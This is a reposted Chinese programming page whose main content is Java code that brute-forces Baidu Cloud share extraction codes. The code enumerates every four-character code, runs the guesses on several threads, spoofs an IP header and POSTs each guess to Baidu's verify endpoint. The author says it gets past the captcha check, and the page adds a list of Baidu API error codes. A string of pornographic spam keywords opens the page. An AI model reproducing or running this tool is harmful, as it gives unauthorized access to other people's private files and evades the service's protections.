日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

百度云提取码

發布時間:2024/8/1 编程问答 17 豆豆
生活随笔 收集整理的這篇文章主要介紹了 百度云提取码 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

執行文件

import java.util.ArrayList; import java.util.List;public class Execute {String n = "";/*** 執行多線程任務* * @param sum*/public void executeThread(String urlString, int sum) {List<String> pwd = getPWD();int everyThread = pwd.size() / sum;for (int i = 0; i < sum; i++) {n = i + "";ThreadTry n = new ThreadTry(urlString, i * everyThread, (i + 1)* everyThread, pwd);n.start();}}/*** 獲取所有密碼* * @return*/private List<String> getPWD() {char s[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a','b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm','n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };List<String> list = new ArrayList<String>();for (char one : s) {for (char two : s) {for (char three : s) {for (char four : s) {list.add("" + one + two + three + four);// System.out.println(""+one+two+three+four);}}}}return list;} }

訪問文件

import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.UnsupportedEncodingException; import java.net.HttpURLConnection; import java.net.URL; import java.util.Random;public class HttpURL {private String info = "";private String urlString = "";private String cookie = "";private String ip="";URL url = null;public HttpURL() {}public HttpURL(String str) {urlString = str;// 定義info為網址init后的參數info = urlString.substring(urlString.indexOf('?') + 1);}/*** 執行操作* * @throws IOException*/public boolean execute(String password) {try {ip=getIP();HttpGet();return tryPWD(password);} catch (IOException e) {e.printStackTrace();return false;}}/*** 嘗試生成隨機數*/public String getIP() {Random r = new Random();r.nextInt(250);return r.nextInt(250) + "." + r.nextInt(250) + "." + r.nextInt(250)+ "." + r.nextInt(250);}/*** 嘗試密碼* * @param pwd* @return* @throws UnsupportedEncodingException* @throws IOException*/public boolean tryPWD(String pwd) throws UnsupportedEncodingException,IOException {String data = HttpPost("pwd=" + pwd + "&vcode=&vcode_str=");if (data.contains("\"errno\":-9"))return false;else if (data.contains("\"errno\":0"))return true;elsereturn false;}/*** 進行GET請求獲取新的cookie* * @return* @throws IOException*/public void HttpGet() throws IOException {// 新建url連接url = new URL(urlString);// 打開鏈接HttpURLConnection connection = (HttpURLConnection) url.openConnection();// 設置參數connection.setRequestMethod("GET");connection.setRequestProperty("ContentType", "text/html;charset=UTF-8");connection.setRequestProperty("Host", "pan.baidu.com");connection.setRequestProperty("Ip", ip);connection.setRequestProperty("Referer","http://pan.baidu.com/share/link?" + info);connection.setRequestProperty("Cookie", "");// connection.getHeaderField("Set-Cookie"));InputStream response = connection.getInputStream();cookie = connection.getHeaderField("Set-Cookie");writeContent(response);connection.disconnect();response.close();}/*** 使用密碼進行POST請求* * @param url* @param param* @return* @throws IOException* @throws UnsupportedEncodingException*/public String HttpPost(String param) throws UnsupportedEncodingException,IOException {// 新建url連接url = new URL("http://pan.baidu.com/share/verify?"+ info+ "&t="+ System.currentTimeMillis()+ "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=033646&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==");// 打開鏈接HttpURLConnection connection = (HttpURLConnection) url.openConnection();// 設置參數connection.setDoOutput(true); // Triggers POST.connection.setRequestMethod("POST");connection.setRequestProperty("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");connection.setRequestProperty("Referer","http://pan.baidu.com/share/init?" + info);connection.setRequestProperty("ContentLength",param.getBytes("UTF-8").length + "");connection.setRequestProperty("Host", "pan.baidu.com");connection.setRequestProperty("Ip", ip);connection.setRequestProperty("Cookie", cookie);OutputStream output = connection.getOutputStream();try {output.write(param.getBytes("UTF-8"));} finally {output.close();}InputStream response = connection.getInputStream();String html = writeContent(response);response.close();connection.disconnect();return html;}/*** 輸出網頁信息* * @param in* @throws IOException*/public String writeContent(InputStream in) throws IOException {BufferedReader br = new BufferedReader(new InputStreamReader(in,"UTF-8"));String line;StringBuilder sb = new StringBuilder();while ((line = br.readLine()) != null) {// 循環讀取流sb.append(line);}br.close();// 關閉流// System.out.println(sb.toString());return sb.toString();} }

線程文件

import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.util.ArrayList; import java.util.List;public class ThreadTry extends Thread {private List<String> password = new ArrayList<String>();private String url = "";Main m=new Main();public ThreadTry(String urlString, int start, int end, List<String> pwd) {url = urlString;for (int index = start; index < end; index++) {password.add(pwd.get(index));}}public void run() {for (String p : password) {System.out.println("密碼:" + p + "--" + Thread.currentThread().getName());m.setMsg("密碼:" + p + "--" + Thread.currentThread().getName());boolean flag = new HttpURL(url).execute(p);if (flag) {write("密碼:" + p);System.exit(0);}try {Thread.sleep(5000);} catch (InterruptedException e) {e.printStackTrace();}}}private void write(String str) {FileOutputStream out = null;try {File file = new File("D:" + File.separator + "pwd.txt");// File file = new File(getFileName());if (!file.exists()) {// 若文件不存在則新建一個file.createNewFile();}out = new FileOutputStream(file, true);// true表示追加打開// out = new FileOutputStream(file);// 實例化輸入流out.write(str.getBytes());// 換行則加\r\nout.flush();// 推一下,避免字符留在緩存未寫入out.close();// 關閉輸出流} catch (IOException e) {System.out.println(e.getMessage());}} }

總結:可以訪問百度云并繞過驗證碼機制嘗試密碼,但執行時會因訪問次數過多被暫時禁止該ip訪問。
附:

0:成功; -1:由于您分享了違反相關法律法規的文件,分享功能已被禁用,之前分享出去的文件不受影響。; -2:用戶不存在;請刷新頁面后重試;-3:文件不存在;請刷新頁面后重試; -4:登錄信息有誤,請重新登錄試試; -5:登錄信息有誤,請重新登錄試試; -6:請重新登錄; -7:該分享已刪除或已取消; -8:該分享已經過期; -9:訪問密碼錯誤; -10:分享外鏈已經達到最大上限100000條,不能再次分享; -11:驗證cookie無效; -14:對不起,短信分享每天限制20條,你今天已經分享完,請明天再來分享吧!; -15:對不起,郵件分享每天限制20封,你今天已經分享完,請明天再來分享吧!; -16:對不起,該文件已經限制分享!; -17:文件分享超過限制; -19:驗證碼輸入錯誤,請重試; -20:請求驗證碼失敗,請重試; -21:未綁定手機或郵箱,沒有權限私密分享; -22:被分享的文件無法重命名,移動等操作; -30:文件已存在; -31:文件保存失敗; -32:你的空間不足了喲,趕緊購買空間吧; -33:一次支持操作999個,減點試試吧; -40:熱門推薦失敗; -60:相關推薦數據異常; -62:密碼輸入次數達到上限; -64:描述包含敏感詞; -70:你分享的文件中包含病毒或疑似病毒,為了你和他人的數據安全,換個文件分享吧; 1:服務器錯誤; 2:參數錯誤; 3:未登錄或帳號無效; 4:存儲好像出問題了,請稍候再試; 12:批量處理錯誤; 14:網絡錯誤,請稍候重試; 15:操作失敗,請稍候重試; 16:網絡錯誤,請稍候重試; 105:創建鏈接失敗,請重試; 106:'文件讀取失敗,請<ahref=javascript:window.location.reload();>刷新</a>頁面后重試'; 108:文件名有敏感詞,優化一下吧; 110:您今天分享太多了,24小時后再試吧; 111:外鏈轉存失敗,請稍候重試; 112:'頁面已過期,請<ahref=javascript:window.location.reload();>刷新</a>后重試'; 113:外鏈簽名有誤; 114:當前任務不存在,保存失敗; 115:該文件禁止分享; 116:分享不存在;117:分享已經過期;2126:文件名中含有敏感詞; 2135:對方拒絕接收消息;2102:群組不存在;2103:你已退出該群; 9100:'你的帳號存在違規行為,已被凍結,<ahref=/disk/appeal>查看詳情</a>'; 9200:'你的帳號存在違規行為,已被凍結,<ahref=/disk/appeal>查看詳情</a>'; 9300:'你的帳號存在違規行為,該功能暫被凍結,<ahref=/disk/appeal>查看詳情</a>'; 9400:'你的帳號異常,需驗證后才能使用該功能,<ahref=/disk/appeal>立即驗證</a>'; 9500:'您的帳號存在安全風險,已進入保護模式,請修改密碼后使用;<a

總結

以上是生活随笔為你收集整理的百度云提取码的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。